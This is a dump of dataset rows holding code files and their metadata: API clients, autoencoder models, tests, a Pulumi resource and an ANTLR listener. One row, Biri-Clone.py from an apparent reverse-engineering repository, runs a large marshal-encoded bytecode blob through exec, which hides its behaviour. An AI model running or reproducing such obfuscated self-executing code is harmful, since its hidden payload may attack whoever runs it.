hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9aa78cda69a1582791b4e99628cc066f8c0d4542 | 147,670 | py | Python | clients/hydra/python/ory_hydra_client/api/admin_api.py | UkonnRa/sdk | 23ab5408a89cdf6ba7a6d8944f8d1b1cdc68aa4c | [
"Apache-2.0"
] | null | null | null | clients/hydra/python/ory_hydra_client/api/admin_api.py | UkonnRa/sdk | 23ab5408a89cdf6ba7a6d8944f8d1b1cdc68aa4c | [
"Apache-2.0"
] | null | null | null | clients/hydra/python/ory_hydra_client/api/admin_api.py | UkonnRa/sdk | 23ab5408a89cdf6ba7a6d8944f8d1b1cdc68aa4c | [
"Apache-2.0"
] | null | null | null | """
ORY Hydra
Welcome to the ORY Hydra HTTP API documentation. You will find documentation for all HTTP APIs here. # noqa: E501
The version of the OpenAPI document: v1.9.1
Generated by: https://openapi-generator.tech
"""
import re # noqa: F401
import sys # noqa: F401
from ory_hydra_client.api_cl... | 40.568681 | 1,340 | 0.489835 | 13,882 | 147,670 | 5.003602 | 0.038107 | 0.027987 | 0.022459 | 0.023323 | 0.896948 | 0.881644 | 0.866484 | 0.853743 | 0.842816 | 0.832206 | 0 | 0.005427 | 0.433527 | 147,670 | 3,639 | 1,341 | 40.57983 | 0.824927 | 0.403833 | 0 | 0.679934 | 1 | 0 | 0.215424 | 0.036073 | 0 | 0 | 0 | 0 | 0 | 1 | 0.012852 | false | 0 | 0.008706 | 0 | 0.034411 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
b111b6ee6ef9fd786033c08cd7b060b0cb6b6b24 | 21,361 | py | Python | ct-ep100/v1.0.x/ja/autogen-openapi-generator/python/ct_ep100_client/api/alert_api.py | y2kblog/poe-webapi-sensor-api | 7c21c88e4a7f74f7bc09c5d4dfc9ff352a98d458 | [
"MIT"
] | null | null | null | ct-ep100/v1.0.x/ja/autogen-openapi-generator/python/ct_ep100_client/api/alert_api.py | y2kblog/poe-webapi-sensor-api | 7c21c88e4a7f74f7bc09c5d4dfc9ff352a98d458 | [
"MIT"
] | null | null | null | ct-ep100/v1.0.x/ja/autogen-openapi-generator/python/ct_ep100_client/api/alert_api.py | y2kblog/poe-webapi-sensor-api | 7c21c88e4a7f74f7bc09c5d4dfc9ff352a98d458 | [
"MIT"
] | null | null | null | """
PoE対応 WebAPI CO2センサ API仕様
\"Try it out\"機能は、API仕様を製品と同一ネットワーク上のローカルPCにダウンロードしブラウザで開くことで利用できます。 # noqa: E501
The version of the OpenAPI document: 1.0.x
Generated by: https://openapi-generator.tech
"""
import re # noqa: F401
import sys # noqa: F401
from ct_ep100_client.api_client import ApiCl... | 35.424544 | 236 | 0.466223 | 1,835 | 21,361 | 5.162943 | 0.109537 | 0.033249 | 0.027444 | 0.028499 | 0.843466 | 0.831433 | 0.828478 | 0.821723 | 0.805995 | 0.799451 | 0 | 0.006601 | 0.453911 | 21,361 | 602 | 237 | 35.483389 | 0.805487 | 0.351154 | 0 | 0.642674 | 1 | 0 | 0.207893 | 0.029077 | 0 | 0 | 0 | 0 | 0 | 1 | 0.015424 | false | 0 | 0.017995 | 0 | 0.048843 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b16bbc49cf690f47fda4c9eee7bb1db3601c4254 | 107,000 | py | Python | BIRi_Cloner/Biri-Clone.py | Alpha-Demon404/RE-14 | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 39 | 2020-02-26T09:44:36.000Z | 2022-03-23T00:18:25.000Z | BIRi_Cloner/Biri-Clone.py | B4BY-DG/reverse-enginnering | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 15 | 2020-05-14T10:07:26.000Z | 2022-01-06T02:55:32.000Z | BIRi_Cloner/Biri-Clone.py | B4BY-DG/reverse-enginnering | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 41 | 2020-03-16T22:36:38.000Z | 2022-03-17T14:47:19.000Z | import marshal
exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00@\x00\x00\x00sD\x00\x00\x00e\x00\x00Z\x01\x00e\x01\x00r#\x00d\x00\x00d\x00\x00\x15Z\x02\x00\x84\x15\x00\x84\x01\x00\x15Z\x02\x00n\x00\x00d\x01\x00d\x02\x00l\x03\x00Z\x03\x00e\x03\x00j\x04\x00d\x03\x00\x83\x01\x00d\x02\x00\x04Ud\x02\x00S... | 53,500 | 106,985 | 0.748308 | 24,188 | 107,000 | 3.309038 | 0.032578 | 0.356226 | 0.279876 | 0.241082 | 0.904172 | 0.890703 | 0.874736 | 0.864129 | 0.854096 | 0.844138 | 0 | 0.404384 | 0.012112 | 107,000 | 2 | 106,985 | 53,500 | 0.352815 | 0 | 0 | 0 | 0 | 3 | 0.697666 | 0.624789 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 21 |
495286cebf67260e90c5879b2c4f6d369bd9a488 | 6,628 | py | Python | margaret/legacy/models/ae.py | kpandey008/Margaret | 402da11c9c9c6730553916cbcd5293c040556a08 | [
"MIT"
] | 2 | 2021-12-01T15:45:27.000Z | 2021-12-07T17:17:37.000Z | margaret/legacy/models/ae.py | kpandey008/Margaret | 402da11c9c9c6730553916cbcd5293c040556a08 | [
"MIT"
] | null | null | null | margaret/legacy/models/ae.py | kpandey008/Margaret | 402da11c9c9c6730553916cbcd5293c040556a08 | [
"MIT"
] | 2 | 2021-12-16T06:25:51.000Z | 2022-03-10T23:55:53.000Z | import torch
import torch.nn as nn
class AE(nn.Module):
# Implementation of a Regular autoencoder
def __init__(self, infeatures, code_size=10):
super(AE, self).__init__()
self.code_size = code_size
self.infeatures = infeatures
self.relu = nn.ReLU()
# Encoder architectu... | 31.712919 | 64 | 0.607725 | 962 | 6,628 | 4.009356 | 0.082121 | 0.087114 | 0.068447 | 0.064039 | 0.875292 | 0.842624 | 0.842624 | 0.82266 | 0.815141 | 0.79077 | 0 | 0.056312 | 0.268558 | 6,628 | 208 | 65 | 31.865385 | 0.739274 | 0.072571 | 0 | 0.77551 | 0 | 0 | 0.001307 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.115646 | false | 0 | 0.013605 | 0 | 0.244898 | 0.020408 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b8e1a79399985d5471b8dd5edc0e6fffd7ed855f | 11,497 | py | Python | models/encoders_decoders.py | BobakBaghi/McGillPhysHackathon2020 | c4c6c2d4c3b89d2750e1184059d9cb446cbd03d7 | [
"MIT"
] | 1 | 2020-11-08T17:29:01.000Z | 2020-11-08T17:29:01.000Z | models/encoders_decoders.py | BobakBaghi/McGillPhysHackathon2020 | c4c6c2d4c3b89d2750e1184059d9cb446cbd03d7 | [
"MIT"
] | null | null | null | models/encoders_decoders.py | BobakBaghi/McGillPhysHackathon2020 | c4c6c2d4c3b89d2750e1184059d9cb446cbd03d7 | [
"MIT"
] | null | null | null | from keras.models import Model
from keras.layers import Input, Conv2D, Activation, BatchNormalization, Flatten, Dense, Conv2DTranspose, Reshape
from utils import get_channels_axis
import torch
import torch.nn as nn
def conv_encoder(input_side=32, n_channels=3, representation_dim=256, representation_activation='tanh',... | 37.695082 | 139 | 0.625468 | 1,771 | 11,497 | 3.862789 | 0.074534 | 0.061395 | 0.041807 | 0.04473 | 0.859962 | 0.845637 | 0.818009 | 0.814062 | 0.803537 | 0.803537 | 0 | 0.048068 | 0.234583 | 11,497 | 304 | 140 | 37.819079 | 0.729318 | 0.018179 | 0 | 0.72093 | 0 | 0 | 0.004261 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.093023 | false | 0 | 0.023256 | 0.004651 | 0.209302 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
773f939d45b43e6c4553b4236ae85768b5b394ac | 142 | py | Python | app/expenses/admin.py | esdevop/mymodb | 392f1024d32cb1e19f39841a7811a4b990813909 | [
"MIT"
] | null | null | null | app/expenses/admin.py | esdevop/mymodb | 392f1024d32cb1e19f39841a7811a4b990813909 | [
"MIT"
] | 3 | 2021-08-13T10:10:21.000Z | 2021-08-16T10:10:04.000Z | app/expenses/admin.py | esdevop/mymodb | 392f1024d32cb1e19f39841a7811a4b990813909 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Expense, ExpensesGroup
admin.site.register(ExpensesGroup)
admin.site.register(Expense)
| 20.285714 | 42 | 0.830986 | 18 | 142 | 6.555556 | 0.555556 | 0.305085 | 0.372881 | 0.508475 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091549 | 142 | 6 | 43 | 23.666667 | 0.914729 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
774ad1b82e6bebbc0bccc4a1752ae888b70f8d93 | 86 | py | Python | fitapp/tests/__init__.py | brad/django-fitbit | 39278068980a81bb67868b024b09683810cbc9f7 | [
"Apache-2.0"
] | null | null | null | fitapp/tests/__init__.py | brad/django-fitbit | 39278068980a81bb67868b024b09683810cbc9f7 | [
"Apache-2.0"
] | null | null | null | fitapp/tests/__init__.py | brad/django-fitbit | 39278068980a81bb67868b024b09683810cbc9f7 | [
"Apache-2.0"
] | null | null | null | from fitapp.tests.test_retrieval import *
from fitapp.tests.test_integration import *
| 28.666667 | 43 | 0.837209 | 12 | 86 | 5.833333 | 0.583333 | 0.285714 | 0.428571 | 0.542857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093023 | 86 | 2 | 44 | 43 | 0.897436 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
658515ff98bd28aa97fc595a836575f1b3a85604 | 38 | py | Python | psat_server_web/__init__.py | genghisken/psat-server-web | 63c697f1d08dc2173328d3018aadf8efc1e8e14f | [
"MIT"
] | null | null | null | psat_server_web/__init__.py | genghisken/psat-server-web | 63c697f1d08dc2173328d3018aadf8efc1e8e14f | [
"MIT"
] | 11 | 2021-03-11T17:28:29.000Z | 2022-01-05T11:35:14.000Z | psat_server_web/__init__.py | genghisken/psat-server-web | 63c697f1d08dc2173328d3018aadf8efc1e8e14f | [
"MIT"
] | null | null | null | from . import atlas
from . import ps1
| 12.666667 | 19 | 0.736842 | 6 | 38 | 4.666667 | 0.666667 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033333 | 0.210526 | 38 | 2 | 20 | 19 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
65af30bd42e97ec87cc5a026bc2b472ffe6d9f4b | 10,593 | py | Python | networks/inputs.py | GuangmingZhu/ConvLSTMForGR | 14d68f599214f3474819f73512c6faec42df61a2 | [
"MIT"
] | 10 | 2019-05-30T01:20:10.000Z | 2022-03-24T07:43:15.000Z | networks/inputs.py | GuangmingZhu/ConvLSTMForGR | 14d68f599214f3474819f73512c6faec42df61a2 | [
"MIT"
] | 1 | 2021-01-09T01:32:58.000Z | 2021-01-09T01:49:41.000Z | networks/inputs.py | GuangmingZhu/ConvLSTMForGR | 14d68f599214f3474819f73512c6faec42df61a2 | [
"MIT"
] | 3 | 2019-11-28T06:09:44.000Z | 2020-12-01T08:48:09.000Z | import io
import os
import sys
import math
import random
import numpy as np
from scipy.misc import imread, imresize
def load_iso_video_list(path):
assert os.path.exists(path)
f = open(path, 'r')
f_lines = f.readlines()
f.close()
video_data = {}
video_label = []
for idx, line in enumerate(f_lines):
... | 39.526119 | 91 | 0.698952 | 1,711 | 10,593 | 3.981297 | 0.059614 | 0.129184 | 0.104962 | 0.05138 | 0.937317 | 0.929683 | 0.929683 | 0.929683 | 0.929683 | 0.929683 | 0 | 0.032103 | 0.1737 | 10,593 | 267 | 92 | 39.674157 | 0.746144 | 0 | 0 | 0.866142 | 0 | 0 | 0.007553 | 0 | 0 | 0 | 0 | 0 | 0.043307 | 1 | 0.023622 | false | 0 | 0.027559 | 0 | 0.074803 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
65b177df48fa1120e83e66d748733bc09cee1b64 | 3,087 | py | Python | Sequences/twinkle_test.py | weidnerm/pi-ws2812 | 87840f43adca9d76d3cb565893de91329b8e99b2 | [
"BSD-2-Clause"
] | null | null | null | Sequences/twinkle_test.py | weidnerm/pi-ws2812 | 87840f43adca9d76d3cb565893de91329b8e99b2 | [
"BSD-2-Clause"
] | null | null | null | Sequences/twinkle_test.py | weidnerm/pi-ws2812 | 87840f43adca9d76d3cb565893de91329b8e99b2 | [
"BSD-2-Clause"
] | null | null | null |
import unittest
from twinkle import StarObject;
class TestStringMethods(unittest.TestCase):
m_Star = None;
def setUp(self):
self.m_Star = StarObject(4,6,8,10,int("ff7f3f",16),2,20, 0);
def tearDown(self):
self.m_Star = None
def test_split(self):
commands = self.m_Star.handleTick(); self.assertEqua... | 54.157895 | 88 | 0.733074 | 449 | 3,087 | 4.944321 | 0.095768 | 0.076577 | 0.133784 | 0.237387 | 0.896847 | 0.896847 | 0.896847 | 0.896847 | 0.896847 | 0.896847 | 0 | 0.093862 | 0.092323 | 3,087 | 56 | 89 | 55.125 | 0.69843 | 0 | 0 | 0.642857 | 0 | 0 | 0.185353 | 0 | 0 | 0 | 0 | 0 | 0.738095 | 1 | 0.071429 | false | 0 | 0.047619 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
65b2e2259023476cfd87115de828b50bdbceee54 | 13,963 | py | Python | transforms_tests.py | Sylvaner/PyConverter | 071241c049b13dd891a89ea631f76ff1043100c3 | [
"Apache-2.0"
] | null | null | null | transforms_tests.py | Sylvaner/PyConverter | 071241c049b13dd891a89ea631f76ff1043100c3 | [
"Apache-2.0"
] | null | null | null | transforms_tests.py | Sylvaner/PyConverter | 071241c049b13dd891a89ea631f76ff1043100c3 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
"""
Test transforms modules.
"""
__author__ = "Sylvain Dangin"
__licence__ = "Apache 2.0"
__version__ = "1.0"
__maintainer__ = "Sylvain Dangin"
__email__ = "sylvain.dangin@gmail.com"
__status__ = "Development"
import os
import sys
import unittest
class TransformsTest(unittest.TestCase):
#######... | 47.172297 | 94 | 0.605386 | 1,534 | 13,963 | 5.159061 | 0.054107 | 0.061663 | 0.134193 | 0.102856 | 0.920394 | 0.884508 | 0.835734 | 0.772176 | 0.749431 | 0.732499 | 0 | 0.002142 | 0.197522 | 13,963 | 295 | 95 | 47.332203 | 0.70415 | 0.05579 | 0 | 0.455 | 0 | 0 | 0.099044 | 0.002085 | 0 | 0 | 0 | 0 | 0.35 | 1 | 0.295 | false | 0 | 0.31 | 0 | 0.61 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 9 |
65ddb64c00be49464455044e58ae18091ad0c8ba | 129 | py | Python | tests/test_all.py | AnotherCat/happy-birthday-spam | ab21657c33f0345839693dc8bed3efd936361022 | [
"MIT"
] | null | null | null | tests/test_all.py | AnotherCat/happy-birthday-spam | ab21657c33f0345839693dc8bed3efd936361022 | [
"MIT"
] | null | null | null | tests/test_all.py | AnotherCat/happy-birthday-spam | ab21657c33f0345839693dc8bed3efd936361022 | [
"MIT"
] | null | null | null | from main import send_happy
def test_send_happy():
assert send_happy(5, 0.0005) == 0.07
assert send_happy(5, 1) == 0.9
| 18.428571 | 40 | 0.674419 | 24 | 129 | 3.416667 | 0.583333 | 0.439024 | 0.365854 | 0.390244 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.126214 | 0.20155 | 129 | 6 | 41 | 21.5 | 0.669903 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | 1 | 0.25 | true | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
65e5408fc42dbb76bd27b80e87eb05170bcde303 | 38,615 | py | Python | sdk/python/pulumi_azure/iot/time_series_insights_event_source_eventhub.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 109 | 2018-06-18T00:19:44.000Z | 2022-02-20T05:32:57.000Z | sdk/python/pulumi_azure/iot/time_series_insights_event_source_eventhub.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 663 | 2018-06-18T21:08:46.000Z | 2022-03-31T20:10:11.000Z | sdk/python/pulumi_azure/iot/time_series_insights_event_source_eventhub.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 41 | 2018-07-19T22:37:38.000Z | 2022-03-14T10:56:26.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 51.832215 | 279 | 0.690017 | 4,602 | 38,615 | 5.546284 | 0.051282 | 0.068955 | 0.079533 | 0.059473 | 0.916392 | 0.905971 | 0.896019 | 0.878311 | 0.871141 | 0.8626 | 0 | 0.002778 | 0.226259 | 38,615 | 744 | 280 | 51.901882 | 0.851496 | 0.424757 | 0 | 0.720627 | 1 | 0 | 0.126054 | 0.050781 | 0 | 0 | 0 | 0 | 0 | 1 | 0.16188 | false | 0.002611 | 0.013055 | 0 | 0.27154 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
f327e1178ad3751f0d7c9636420c8cac8f41a20d | 278 | py | Python | nmigen_boards/qmtech_daughterboard.py | hansfbaier/amaranth-boards | a3e92db69e74cc18a42808f6f72068f05efe018e | [
"BSD-2-Clause"
] | 1 | 2022-01-22T20:23:07.000Z | 2022-01-22T20:23:07.000Z | nmigen_boards/qmtech_daughterboard.py | amaranth-community-unofficial/amaranth-boards | eacb18700d0ed97f525737ca80d923ebd5851505 | [
"BSD-2-Clause"
] | null | null | null | nmigen_boards/qmtech_daughterboard.py | amaranth-community-unofficial/amaranth-boards | eacb18700d0ed97f525737ca80d923ebd5851505 | [
"BSD-2-Clause"
] | null | null | null | from amaranth_boards.qmtech_daughterboard import *
from amaranth_boards.qmtech_daughterboard import __all__
import warnings
warnings.warn("instead of nmigen_boards.qmtech_daughterboard, use amaranth_boards.qmtech_daughterboard",
DeprecationWarning, stacklevel=2) | 39.714286 | 104 | 0.834532 | 31 | 278 | 7.096774 | 0.516129 | 0.218182 | 0.454545 | 0.45 | 0.390909 | 0.390909 | 0 | 0 | 0 | 0 | 0 | 0.004065 | 0.115108 | 278 | 7 | 105 | 39.714286 | 0.890244 | 0 | 0 | 0 | 0 | 0 | 0.311828 | 0.25448 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.6 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
b8a3d281f09a3078b19ad1dadbdf5feb56bf81cd | 8,201 | py | Python | bin/protobuf/ProtoParserListener.py | vak/protobuf2uml | 537db478e34fc34e39dec1fd0a47b27730a6f9b4 | [
"Apache-2.0"
] | 28 | 2015-01-08T12:12:16.000Z | 2021-02-26T20:01:56.000Z | bin/protobuf/ProtoParserListener.py | vak/protobuf2uml | 537db478e34fc34e39dec1fd0a47b27730a6f9b4 | [
"Apache-2.0"
] | 5 | 2015-01-31T00:26:38.000Z | 2020-10-05T14:55:05.000Z | bin/protobuf/ProtoParserListener.py | vak/protobuf2uml | 537db478e34fc34e39dec1fd0a47b27730a6f9b4 | [
"Apache-2.0"
] | 16 | 2015-03-13T14:47:17.000Z | 2021-07-18T16:20:14.000Z | # Generated from java-escape by ANTLR 4.4
from antlr4 import *
# This class defines a complete listener for a parse tree produced by ProtoParser.
class ProtoParserListener(ParseTreeListener):
# Enter a parse tree produced by ProtoParser#all_identifier.
def enterAll_identifier(self, ctx):
pass
